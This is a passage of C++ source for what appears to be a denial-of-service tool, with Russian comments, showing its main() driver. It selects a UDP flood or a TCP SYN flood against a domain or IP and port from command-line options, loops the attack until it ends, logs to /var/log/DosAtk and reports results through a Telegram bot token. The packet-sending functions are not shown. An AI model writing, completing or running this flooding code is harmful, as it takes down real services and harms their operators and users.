printf("end my_dns\n"); // debug
return status;
}
/*
█████ █████ ██ ███ █████ ████ ███ █████ ████ ███ █ █ █ █ █ █
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ ██ ██ ██ █ █
█ ████ █ █ █ █ █ █ ████ █ █ █ ████ █████ █ █ █ █ █ █ ███ █
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █
█ █████ █ █ ███ █ █ █ ███ █ █ █ █ █ █ █ █ ███ █
*/
#include <chrono>
#include <thread>
int main(int arg_ctr, char **arg_ptr)
{
// Инициализация глобальных переменных
argc = arg_ctr;
argv = arg_ptr;
attack_type = "";
domain = "";
ip = "";
port = "";
log_file = "/var/log/DosAtk";
telegram_id = "";
telegram_token = "";
n_ok_requests = 0;
n_fail_requests = 0;
start_timestamp = std::chrono::system_clock::now();
log_msg = "";
fin_msg = "";
status = 0;
status = my_check_params(); // Проверяем параметры командной строки
switch (status) // Обрабатываем результат проверки параметров
{
case 1: // Режим сканирования портов (UDP)
status = my_dns(); // Пытаемся разрешить DNS (если указано доменное имя)
if (status == 0) // Если DNS разрешен успешно
{
while (true) // Запускаем цикл UDP-атаки
{
status = my_udp();
if (status == 2) // Код завершения атаки
{
break;
}
else if (status < 0) // Обработка ошибок
{
my_diag(); // Выводим диагностику
status = my_log(); // Пытаемся записать в лог
if (status == 0) // Если лог получилось записать
{
my_fin(); // Просто завершаем программу
}
else if (status == 1) // Если лог не удалось записать
{
my_msg(); // Отправляем финальное сообщение
my_fin(); // Завершаем программу
}
break;
}
}
// Завершающие действия после атаки
status = my_log(); // Логируем завершение
if (status == 0) // Если лог получилось записать
{
my_fin(); // Просто завершаем программу
}
else if (status == 1) // Если лог не удалось записать
{
my_msg(); // Отправляем финальное сообщение
my_fin(); // Корректно завершаем программу
}
}
else if (status == 1) // Ошибка DNS-разрешения
{
my_diag(); // Выводим ошибку
status = my_log(); // Логируем ошибку
if (status == 0) // Если лог получилось записать
{
my_fin(); // Просто завершаем программу
}
else if (status == 1) // Если лог не удалось записать
{
my_msg(); // Отправляем сообщение
my_fin(); // Завершаем программу
}
}
break;
case 2: // Режим SYN-флуда (TCP)
// Пытаемся разрешить DNS (если указано доменное имя)
status = my_dns();
if (status == 0) // Если DNS разрешен успешно
{
// Запускаем цикл TCP-атаки
while (true)
{
status = my_tcp_syn();
if (status == 2) // Код завершения атаки
{
break;
}
else if (status < 0) // Обработка ошибок
{
my_diag(); // Выводим диагностику
status = my_log(); // Пытаемся записать в лог
if (status == 0) // Если лог получилось записать
{
my_fin(); // Просто завершаем программу
}
else if (status == 1) // Если лог не удалось записать
{
my_msg(); // Отправляем финальное сообщение
my_fin(); // Завершаем программу
}
break;
}
}
// Завершающие действия после атаки
status = my_log(); // Логируем завершение
if (status == 0) // Если лог получилось записать
{
my_fin(); // Просто завершаем программу
}
else if (status == 1) // Если лог не удалось записать
{
my_msg(); // Отправляем финальное сообщение
my_fin(); // Корректно завершаем программу
}
}
else if (status == 1) // Ошибка DNS-разрешения
{
my_diag(); // Выводим ошибку
status = my_log(); // Логируем ошибку
if (status == 0) // Если лог получилось записать
{
my_fin(); // Просто завершаем программу
}
else if (status == 1) // Если лог не удалось записать
{
my_msg(); // Отправляем сообщение
my_fin(); // Завершаем программу
}
}
break;
case 0: // Некорректные параметры или запрос справки
case -1:
case -10:
case -20:
case -101:
case -600:
case -601:
my_diag(); // Выводим диагностику
status = my_log(); // Логируем событие
if (status == 0) // Без уведомления
{
my_fin(); // Завершаем программу
}
else if (status == 1) // С уведомлением
{
my_msg(); // Отправляем сообщение
my_fin(); // Завершаем программу
}
break;
}
return 0; // Возвращаем код успешного завершения
}